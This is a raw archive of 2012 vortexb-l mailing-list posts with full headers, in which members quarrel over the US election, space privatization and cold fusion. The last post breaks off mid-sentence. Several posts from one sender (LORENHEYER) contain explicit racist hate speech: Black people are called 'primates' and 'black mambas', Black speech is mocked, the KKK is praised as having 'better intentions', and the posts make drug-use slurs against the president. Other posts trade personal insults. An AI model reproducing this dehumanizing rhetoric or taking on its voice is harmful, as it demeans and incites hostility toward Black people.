On Tue, N= ov 13, 2012 at 7:01 PM, Terry Blanton <hohlraum@gmail.com> = wrote:
 
“A democracy= cannot exist as a permanent form of government. It can only exist until th= e voters discover that they can vote themselves largesse from the public tr= easury. From that moment on, the majority always votes for the candidates p= romising the most benefits from the public treasury with the result that a = democracy always collapses over loose fiscal policy, always followed by a d= ictatorship. The average age of the world's greatest civilizations has = been 200 years.” 
― Alexis de Tocqueville

Is a coup d'etat ever good= , David? 
--f46d0435bf4edf966404ce6b9fb6-- From vortexb-l-request@eskimo.com Wed Nov 14 14:10:03 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAEMA2Z6004393; Wed, 14 Nov 2012 14:10:02 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAEM9xXo004376; Wed, 14 Nov 2012 14:09:59 -0800 Resent-Date: Wed, 14 Nov 2012 14:09:59 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <45224.70eb7f5a.3dd570b7@aol.com> Date: Wed, 14 Nov 2012 17:09:59 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352930999; bh=ESJWHrbn98YqGxm+yr7lSuYZezL8cWBQ+8HqxaWVAaM=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=KhpSU/ena3Uwy4ivdM+gP3fYmxVcSQIJ8RR1nivySgnsmei//ifPHu/clQtflWPmu JtuJVkPC2P/t3AX7QthsFOouLd2pY2idrbGOEqPaVOBSiHEx4WMTamNczM8b9Yeqc8 +/hqzhzf8nSn9l9m+IH26fDeHt9sLw/kytWEFR6E= X-AOL-SCOLL-SCORE: 0:2:342402912:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d338c50a416b74fa5 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4607 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 848 Yeah right, *real* people (as opposed to those who haven't a clue what one is and/or actually think that fooling them all, until they have completely lost everything and/or their Country... well guess what, it's you who'er going to end up as the loser, if you're lucky! To this, I say to you this one & only time .... guess again sucker!. >> It's really wonderful for me to see other real actual people make accurate valid comments in here, because I haven't a clue what one is also. If someone (no matter what type of fraud they're committed to) specializes in pulling the wool over enough *real* peoples' eyes, then s/he deserves to be ruled by a two bit slime bag dictator of a so-called president that does nothing but sqaunder, launder, and/or shift money around from it's rightful owner, to those who are primarily primates. << Debbie >> From vortexb-l-request@eskimo.com Wed Nov 14 14:12:04 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAEMC3SY004871; Wed, 14 Nov 2012 14:12:03 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAEMC2QX004860; Wed, 14 Nov 2012 14:12:02 -0800 Resent-Date: Wed, 14 Nov 2012 14:12:02 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <4532c.16da4fb3.3dd57133@aol.com> Date: Wed, 14 Nov 2012 17:12:03 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352931123; bh=b9cEZleceX9zENL7tDWS0+YbKp+vCUNbRDaff4cnxzE=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=B9W/hyKkv/difOXF5ckVJPb+q4SMfhAT1BSzVwYrAsIhdv9btO9Y7JqwmJ5DbCnFK 9LNTodnAw4mpktNRyEh3TTbYkpebRMMZ1Ys7ms5HboEaAXZUEgq9Y5bkjafv20MQY1 TOTHvKlBgykQadnl6HQ7iEShzrHC8WAMR8jrcjX0= X-AOL-SCOLL-SCORE: 0:2:432604416:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d33cb50a417333d6c Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4608 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 849 Don't forget to remove yourself, in the process. << Thanks for quoting him; since it appears he is now able to edit his posts so that they are readable, I will remove him from my killfile. >> From vortexb-l-request@eskimo.com Wed Nov 14 15:18:09 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAENI7Q7018548; Wed, 14 Nov 2012 15:18:07 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAENI52G018537; Wed, 14 Nov 2012 15:18:05 -0800 Resent-Date: Wed, 14 Nov 2012 15:18:05 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <473a8.3883cf91.3dd580a8@aol.com> Date: Wed, 14 Nov 2012 18:18:00 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352935080; bh=J3lVf8i8LK0+A8W60krBTUZlYcdulyub5MDpgMZvnJI=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=KTiZBrHhQ1VHs5u/0Ja9tyDWL6MKx6W8hOCXbM5UUIi+6rD7js6l2AnMgzQyyNce0 flXDHV/01qpIXdimaGiKfckPgVzXOrJsExBElwqGCpuADC/0wivrVuGMy3UY9Br+hP GT9Rvo/JvWNQUtbd/TLNSeaPKQI0+FKoc0vKu/dM= X-AOL-SCOLL-SCORE: 0:2:376413344:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d33ca50a426a874a2 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4609 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 850 Say, I have a question for you Canadians out there. Do you ever feel like Canada has been and/or is in the process of being taken over, like we have, here in the lower 57. Yesterday, I was listening to a local radio station (home of the illegal/legal hispanic mexican latino loving Gov. Brainless Scamdevil), and the easily-influenced liberally challenged demented/deranged brainwashed dimwitted white sucka host was talking to A fricken Black Canadian, who was (what else) actinmg as a mouthpiece for BO. This slick talking bunch'a booosheeet said that BO had done a marvelous job for the last 4 years, especially in considering how broke the Country and/or economy was when he done seized control, uh, I mean legitimately stole it, uh, I mean, fooled you all with his "hope(lessness) & change (is what you got after he's done)" promise. Anyway, after BO and his close immediate clan members had succeeded in getting the much cherished whitey house victory trophy prize, they spent the night dancing & singing, and smoking some high grade illegal (what else) mexican weed, snorting coccain until they saw the bright whitey sun come up... and now we can look forward to 4 more years of the Country being dragged into the hole that only BO can dig, you dig? Well anyway, forgetting that BO had rather (illegally) unfairly inherited this situation (which of course was due to the previous actual legitimate whitey President Gee W Bashed, who much like the President before him, Slick Willy Billy Lincoln, who had respectively allowed themselves to accept the potentially overwhelming number of El-illegal votes, that would've continued to invade the country anyway, and, by the black community, witch wooda bernd up awl duh citteez if dey wunt givin duh ahportunitey tuu run thangs (into the ground),,, He & The First (as in "HER" first, and then working hard to work all the whities out'a whatever they got) Lady had taken more vacations, shopping sprees, celebrity/fundraising tours, and golfing/vacation than any other dum fool whitey in the history of the universe, and thats why 'All' (mind you) Americans voted for him. Wel anyway that slick-talking Black Canadian said that "all" the other Countries that "voted" for their leader, got who they did "Because" that's what them dum sucka's, uh, I mean people, wanted. Now, of course the easily influenced weak-minded brainwashed gullible dumb whitey talk show host immediately followed-up with a comment that, that's a good thing, & and that all republicans are now in a total-disconnect, and dey aint no longer gonna mean nothing from nothing, no how, no way NOT EVAH!.....YEE HA, now all of them primarily primates are primarily gonna have it made!. Oh, and one more thing... altho there is still a KKK (and btw, there should be some new laws passed that enables or allows blacks to legally eliminate anyone that doesn't think(?) like them), but at least the KKK has got better intentions than just Take Take Take, until all you got is gone,,, especially your life! From vortexb-l-request@eskimo.com Wed Nov 14 18:56:49 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAF2umcb032063; Wed, 14 Nov 2012 18:56:48 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAF2ujjU032053; Wed, 14 Nov 2012 18:56:45 -0800 Resent-Date: Wed, 14 Nov 2012 18:56:45 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A459DB.3020108@resist.ca> Date: Wed, 14 Nov 2012 21:56:27 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4610 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 851 On 12/11/13 18:41, albedo5 wrote: > I saw something online today that made me think of the recent silly > discussion in here...go figure. :) > > http://blogs.edweek.org/edweek/global_learning/2012/11/post-election_teaching_kids_how_to_respectfully_disagree.html?cmp=ENL-EU-VIEWS2 > > It's really hard for me to stomach that people believe the crap I'm > seeing in here, but I actually have friends that spout it, also. If > someone has the power to pull the wool over enough peoples' eyes, then > s/he deserves to be president. > > Our world is changing significantly, as it always is. Much of the > military power we wield today is ineffective in these technological > times. The Commanche program was killed mainly due to the fact that > its mission can be accomplished using small unmanned UAVs. While I am > still dealing emotionally with the end of the space program as I lived > it, it was time to be privatised. I don't like it - but I am extremely > happy that folks such as Burt Rutan and Richard Bronson have the > foresight to keep manned spaceflight moving forward...even if it's not > nearly as fast as I'd like to see it. > > I don't expect folks like LORENHEYER or grok to lead us in a round of > 'Kumbaya', but geeze. Hearing the same stuff over and over, just to > create more strife and to feel important, really gets old. > > Before anyone suggests it, I do know how to hit my delete button. And > I will, after this. I just needed to vent. Some things never > change....grok gives me faith in that sense. :) > > > Debbie You're just a fool in a fool's paradise, lady. I expect you'll be finding that out, soon enuff. Piss off. -- grok. From vortexb-l-request@eskimo.com Wed Nov 14 19:10:33 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAF3AVdK002644; Wed, 14 Nov 2012 19:10:31 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAF3AUXl002635; Wed, 14 Nov 2012 19:10:30 -0800 Resent-Date: Wed, 14 Nov 2012 19:10:30 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A45D14.8070202@resist.ca> Date: Wed, 14 Nov 2012 22:10:12 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------040409030409040700030309" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4611 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 852 This is a multi-part message in MIME format. --------------040409030409040700030309 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/11/13 19:01, Terry Blanton wrote: > > > > On Tue, Nov 13, 2012 at 6:41 PM, albedo5 > wrote: > > I don't like it - but I am extremely happy that folks such as Burt > Rutan and Richard Bronson have the foresight to keep manned > spaceflight moving forward...even if it's not nearly as fast as > I'd like to see it. > > > You forgot Elon Musk. > > "A democracy cannot exist as a permanent form of government. It can > only exist until the voters discover that they can vote themselves > largesse from the public treasury. From that moment on, the majority > always votes for the candidates promising the most benefits from the > public treasury with the result that a democracy always collapses over > loose fiscal policy, always followed by a dictatorship. The average > age of the world's greatest civilizations has been 200 years." > -- Alexis de Tocqueville > 'Outer space' cannot be utilized by the Human race under the 'leadership' of an anarchic, short-sighted, avaricious capitalist order -- whatever any honorable intentions. The 'privatization' of the heretofore publicly-funded space effort is a laffable joke (whether that is now and here understood), brought on and dumped on us by obtuse, reckless ideologs, for the most squalid and illogical of ideological reasons. I fully expect the 'privatization' of space to utterly fail -- and soon enuff, too; tho' the advent of WWIII might mask the passing moment... As for most of you also believing that the future of cold fusion lies with the 'initiative' of the fabled 'private sector': this is still the same faulty ideological position -- even if a few hi-tek space-heaters and furnace-room boiler replacements come out of this process in the meantime. -- grok. --------------040409030409040700030309 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/11/13 19:01, Terry Blanton wrote:



On Tue, Nov 13, 2012 at 6:41 PM, albedo5 <albedo5@gmail.com> wrote:

 
I don't like it - but I am extremely happy that folks such as Burt Rutan and Richard Bronson have the foresight to keep manned spaceflight moving forward...even if it's not nearly as fast as I'd like to see it.

You forgot Elon Musk.

“A democracy cannot exist as a permanent form of government. It can only exist until the voters discover that they can vote themselves largesse from the public treasury. From that moment on, the majority always votes for the candidates promising the most benefits from the public treasury with the result that a democracy always collapses over loose fiscal policy, always followed by a dictatorship. The average age of the world's greatest civilizations has been 200 years.” 
― Alexis de Tocqueville

'Outer space' cannot be utilized by the Human race under the 'leadership' of an anarchic, short-sighted, avaricious capitalist order -- whatever any honorable intentions. The 'privatization' of the heretofore publicly-funded space effort is a laffable joke (whether that is now and here understood), brought on and dumped on us by obtuse, reckless ideologs, for the most squalid and illogical of ideological reasons. I fully expect the 'privatization' of space to utterly fail -- and soon enuff, too; tho' the advent of WWIII might mask the passing moment...

As for most of you also believing that the future of cold fusion lies with the 'initiative' of the fabled 'private sector': this is still the same faulty ideological position -- even if a few hi-tek space-heaters and furnace-room boiler replacements come out of this process in the meantime.


-- grok.


--------------040409030409040700030309-- From vortexb-l-request@eskimo.com Wed Nov 14 21:22:16 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAF5MFwY013493; Wed, 14 Nov 2012 21:22:15 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAF5MEnb013486; Wed, 14 Nov 2012 21:22:14 -0800 Resent-Date: Wed, 14 Nov 2012 21:22:14 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=b6FTtjUCbo7+lUV9T2mFpMM+xW6urhHWN8+cFi5GsNo=; b=BkAneMaaIVqwTPV9FDOynWOLmyU0WQNRtPud/7TdSRFpqYMwl1TKq99iuq2d0qBbVq Sh+Kx7mCEEM5aGPe/9ppCCYDSKbzkgqimh0ez3+6X2QbGCxrl+7PITrg6q2re/kn0N6J g9uc3qxPxIc8fd7uFUmEIVY3aXXnypwCK8NsIiPl6k95LXwZ9UWA89Rd6+hO8msKHKoT xUe1tYDI8hcSSMoYn3BnwoVQtYJSb+1WZ32wQPppcmPPYytnEg8J+4oXEfnuoTsu5XE2 sNuqXF1t/34+Kd/Hhgss14EZA1T2oPWi0f/3JO50QtHN7QLhJHe1wimFZtlaTEd8b3n7 urcw== MIME-Version: 1.0 In-Reply-To: <50A45D14.8070202@resist.ca> References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> <50A45D14.8070202@resist.ca> Date: Thu, 15 Nov 2012 00:22:13 -0500 Message-ID: Subject: Re: [VoB]:resist.ca From: albedo5 To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d0401f77f689e1004ce81d577 Resent-Message-ID: <6iwN1D.A.kSD.FwHpQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4612 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 853 --f46d0401f77f689e1004ce81d577 Content-Type: text/plain; charset=ISO-8859-1 Dear grok, You give me faith. The sun rises in the east, there's still no NHL games, and grok is doing his bestest to be annoying. Ah, such predictability. :) Thank you for showing me the way. I feel so enlightened! Debbie On Wed, Nov 14, 2012 at 10:10 PM, grok wrote: > On 12/11/13 19:01, Terry Blanton wrote: > > > > > On Tue, Nov 13, 2012 at 6:41 PM, albedo5 wrote: > > > >> I don't like it - but I am extremely happy that folks such as Burt Rutan >> and Richard Bronson have the foresight to keep manned spaceflight moving >> forward...even if it's not nearly as fast as I'd like to see it. >> > > You forgot Elon Musk. > > "A democracy cannot exist as a permanent form of government. It can only > exist until the voters discover that they can vote themselves largesse from > the public treasury. From that moment on, the majority always votes for the > candidates promising the most benefits from the public treasury with the > result that a democracy always collapses over loose fiscal policy, always > followed by a dictatorship. The average age of the world's greatest > civilizations has been 200 years." > -- Alexis de Tocqueville > > > 'Outer space' cannot be utilized by the Human race under the 'leadership' > of an anarchic, short-sighted, avaricious capitalist order -- whatever any > honorable intentions. The 'privatization' of the heretofore publicly-funded > space effort is a laffable joke (whether that is now and here understood), > brought on and dumped on us by obtuse, reckless ideologs, for the most > squalid and illogical of ideological reasons. I fully expect the > 'privatization' of space to utterly fail -- and soon enuff, too; tho' the > advent of WWIII might mask the passing moment... > > As for most of you also believing that the future of cold fusion lies with > the 'initiative' of the fabled 'private sector': this is still the same > faulty ideological position -- even if a few hi-tek space-heaters and > furnace-room boiler replacements come out of this process in the meantime. > > > -- grok. > > > --f46d0401f77f689e1004ce81d577 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Dear grok,

You give me faith.  The sun rises in the east, there= 's still no NHL games, and grok is doing his bestest to be annoying.&nb= sp; Ah, such predictability.  :)

Thank you for showing me the w= ay.  I feel so enlightened!

<now hits her delete button, as usual, with the gross-grok-fest><= br>

Debbie

On Wed, Nov 14, 2012 at= 10:10 PM, grok <grok@resist.ca> wrote:
=20 =20 =20
On 12/11/13 19:01, Terry Blanton wrote:



On Tue, Nov 13, 2012 a= t 6:41 PM, albedo5 <albedo5@gmail.com> wrote:

 
I don't like it - but I am extremely happy that folks such as Burt Rutan and Richard Bronson have the foresight to keep manned spaceflight moving forward...even if it's not nearly as fast as I'd like to see it.

You forgot Elon Musk.

“A democracy cannot exist as a permanent form of government. It can only exist until the voters discover that they can vote themselves largesse from the public treasury. From that moment on, the majority always votes for the candidates promising the most benefits from the public treasury with the result that a democracy always collapses over loose fiscal policy, always followed by a dictatorship. The average age of the world's greatest civilizations has been 200 years.” 
― Alexis de Tocqueville

'Outer space' cannot be utilized by the Human race under the 'leadership' of an anarchic, short-sighted, avaricious capitali= st order -- whatever any honorable intentions. The 'privatization'= of the heretofore publicly-funded space effort is a laffable joke (whether that is now and here understood), brought on and dumped on us by obtuse, reckless ideologs, for the most squalid and illogical of ideological reasons. I fully expect the 'privatization' of s= pace to utterly fail -- and soon enuff, too; tho' the advent of WWIII might mask the passing moment...

As for most of you also believing that the future of cold fusion lies with the 'initiative' of the fabled 'private sector= 9;: this is still the same faulty ideological position -- even if a few hi-tek space-heaters and furnace-room boiler replacements come out of this process in the meantime.=


-- grok.



--f46d0401f77f689e1004ce81d577-- From vortexb-l-request@eskimo.com Thu Nov 15 11:48:58 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAFJmunm008494; Thu, 15 Nov 2012 11:48:56 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAFJmteN008490; Thu, 15 Nov 2012 11:48:55 -0800 Resent-Date: Thu, 15 Nov 2012 11:48:55 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A54713.70708@resist.ca> Date: Thu, 15 Nov 2012 14:48:35 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> <50A45D14.8070202@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------010206000300000402020901" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4613 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 854 This is a multi-part message in MIME format. --------------010206000300000402020901 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/11/15 00:22, albedo5 wrote: > Dear grok, > > You give me faith. The sun rises in the east, there's still no NHL > games, and grok is doing his bestest to be annoying. Ah, such > predictability. :) > > Thank you for showing me the way. I feel so enlightened! > > > > > Debbie > Like... I... Care. -- grok. > On Wed, Nov 14, 2012 at 10:10 PM, grok > wrote: > > On 12/11/13 19:01, Terry Blanton wrote: >> >> >> >> On Tue, Nov 13, 2012 at 6:41 PM, albedo5 > > wrote: >> >> I don't like it - but I am extremely happy that folks such as >> Burt Rutan and Richard Bronson have the foresight to keep >> manned spaceflight moving forward...even if it's not nearly >> as fast as I'd like to see it. >> >> >> You forgot Elon Musk. >> >> "A democracy cannot exist as a permanent form of government. It >> can only exist until the voters discover that they can vote >> themselves largesse from the public treasury. From that moment >> on, the majority always votes for the candidates promising the >> most benefits from the public treasury with the result that a >> democracy always collapses over loose fiscal policy, always >> followed by a dictatorship. The average age of the world's >> greatest civilizations has been 200 years." >> -- Alexis de Tocqueville >> > > 'Outer space' cannot be utilized by the Human race under the > 'leadership' of an anarchic, short-sighted, avaricious capitalist > order -- whatever any honorable intentions. The 'privatization' of > the heretofore publicly-funded space effort is a laffable joke > (whether that is now and here understood), brought on and dumped > on us by obtuse, reckless ideologs, for the most squalid and > illogical of ideological reasons. I fully expect the > 'privatization' of space to utterly fail -- and soon enuff, too; > tho' the advent of WWIII might mask the passing moment... > > As for most of you also believing that the future of cold fusion > lies with the 'initiative' of the fabled 'private sector': this is > still the same faulty ideological position -- even if a few hi-tek > space-heaters and furnace-room boiler replacements come out of > this process in the meantime. > > > -- grok. > > > --------------010206000300000402020901 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/11/15 00:22, albedo5 wrote:
Dear grok,

You give me faith.  The sun rises in the east, there's still no NHL games, and grok is doing his bestest to be annoying.  Ah, such predictability.  :)

Thank you for showing me the way.  I feel so enlightened!

<now hits her delete button, as usual, with the gross-grok-fest>


Debbie


Like... I... Care.

-- grok.



On Wed, Nov 14, 2012 at 10:10 PM, grok <grok@resist.ca> wrote:
On 12/11/13 19:01, Terry Blanton wrote:



On Tue, Nov 13, 2012 at 6:41 PM, albedo5 <albedo5@gmail.com> wrote:

 
I don't like it - but I am extremely happy that folks such as Burt Rutan and Richard Bronson have the foresight to keep manned spaceflight moving forward...even if it's not nearly as fast as I'd like to see it.

You forgot Elon Musk.

“A democracy cannot exist as a permanent form of government. It can only exist until the voters discover that they can vote themselves largesse from the public treasury. From that moment on, the majority always votes for the candidates promising the most benefits from the public treasury with the result that a democracy always collapses over loose fiscal policy, always followed by a dictatorship. The average age of the world's greatest civilizations has been 200 years.” 
― Alexis de Tocqueville

'Outer space' cannot be utilized by the Human race under the 'leadership' of an anarchic, short-sighted, avaricious capitalist order -- whatever any honorable intentions. The 'privatization' of the heretofore publicly-funded space effort is a laffable joke (whether that is now and here understood), brought on and dumped on us by obtuse, reckless ideologs, for the most squalid and illogical of ideological reasons. I fully expect the 'privatization' of space to utterly fail -- and soon enuff, too; tho' the advent of WWIII might mask the passing moment...

As for most of you also believing that the future of cold fusion lies with the 'initiative' of the fabled 'private sector': this is still the same faulty ideological position -- even if a few hi-tek space-heaters and furnace-room boiler replacements come out of this process in the meantime.


-- grok.




--------------010206000300000402020901-- From vortexb-l-request@eskimo.com Fri Nov 16 11:36:39 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAGJab1v030446; Fri, 16 Nov 2012 11:36:38 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAGJaYMO030428; Fri, 16 Nov 2012 11:36:34 -0800 Resent-Date: Fri, 16 Nov 2012 11:36:34 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: Date: Fri, 16 Nov 2012 14:36:33 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1353094593; bh=nGTb61OQy1sBYhAsJ7ZbAFQdw/h7Vn+fsi4tRUTamK8=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=hCqagil6SPbhN1AItc98JSq1AbKk9rn/+7BX1IvGjVRWLXkmBg2960QvueXRAFYJk ObCbYRLN7xLiGtnqkye8CFD7gkzqy0TNPEd36hamOGJXuZ9zwxb8BMfjRXOn1mLyYR Vv/KvZ4JRxoAzAbla8qlmCnPSTXqr+PpfafyfJjM= X-AOL-SCOLL-SCORE: 0:2:374773504:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d33cc50a695c149cc Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4614 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 855 Prior to the so-called recent election of BO obtaining the Office of Ruling Dictatorship of the United State of African Anarchists (also operating under another name, called the KKK.... Kill Kill Kill ), I began to force myself to listen to afew local radio stations with liberally-deranged influenced hosts. It took me a while before I started to figure it out, but then the culprit and/or cause of these absolutely brainwashed devoted blind braindead moronic comments became very apparent. (Very) low & behold, it was, as I suspected (as with many other radio talk shows, no matter on the right, or left) a wrongly miscolored person (?) had been at it, working & playing all the dumb gullible whitey fool suckas. Now then, I already knew of several stations that had among them at least one primarily animal instinct guided primate in their midst, and so, there's little doubt they have long since been sliming & slithering & weaseling their way into everywhere humans tend to be,,, especially where power money and/or high paid talk show host tend to blab to all the world. So now, it's all become so obvious that it has literally smacked me right in the face. I have come to realize it for what it is, and it has been going on for many years. These black mambas can be very dangerous to your health and/or very deadly, as with just a few words, or functions, whether by phone or computer or what-have-you, they can alter the subject, conversation or your entire day,,, or life... if that's important to you? things to offend, anger, enrage color colored person (by no fault of their own, had So now, you have to consider who 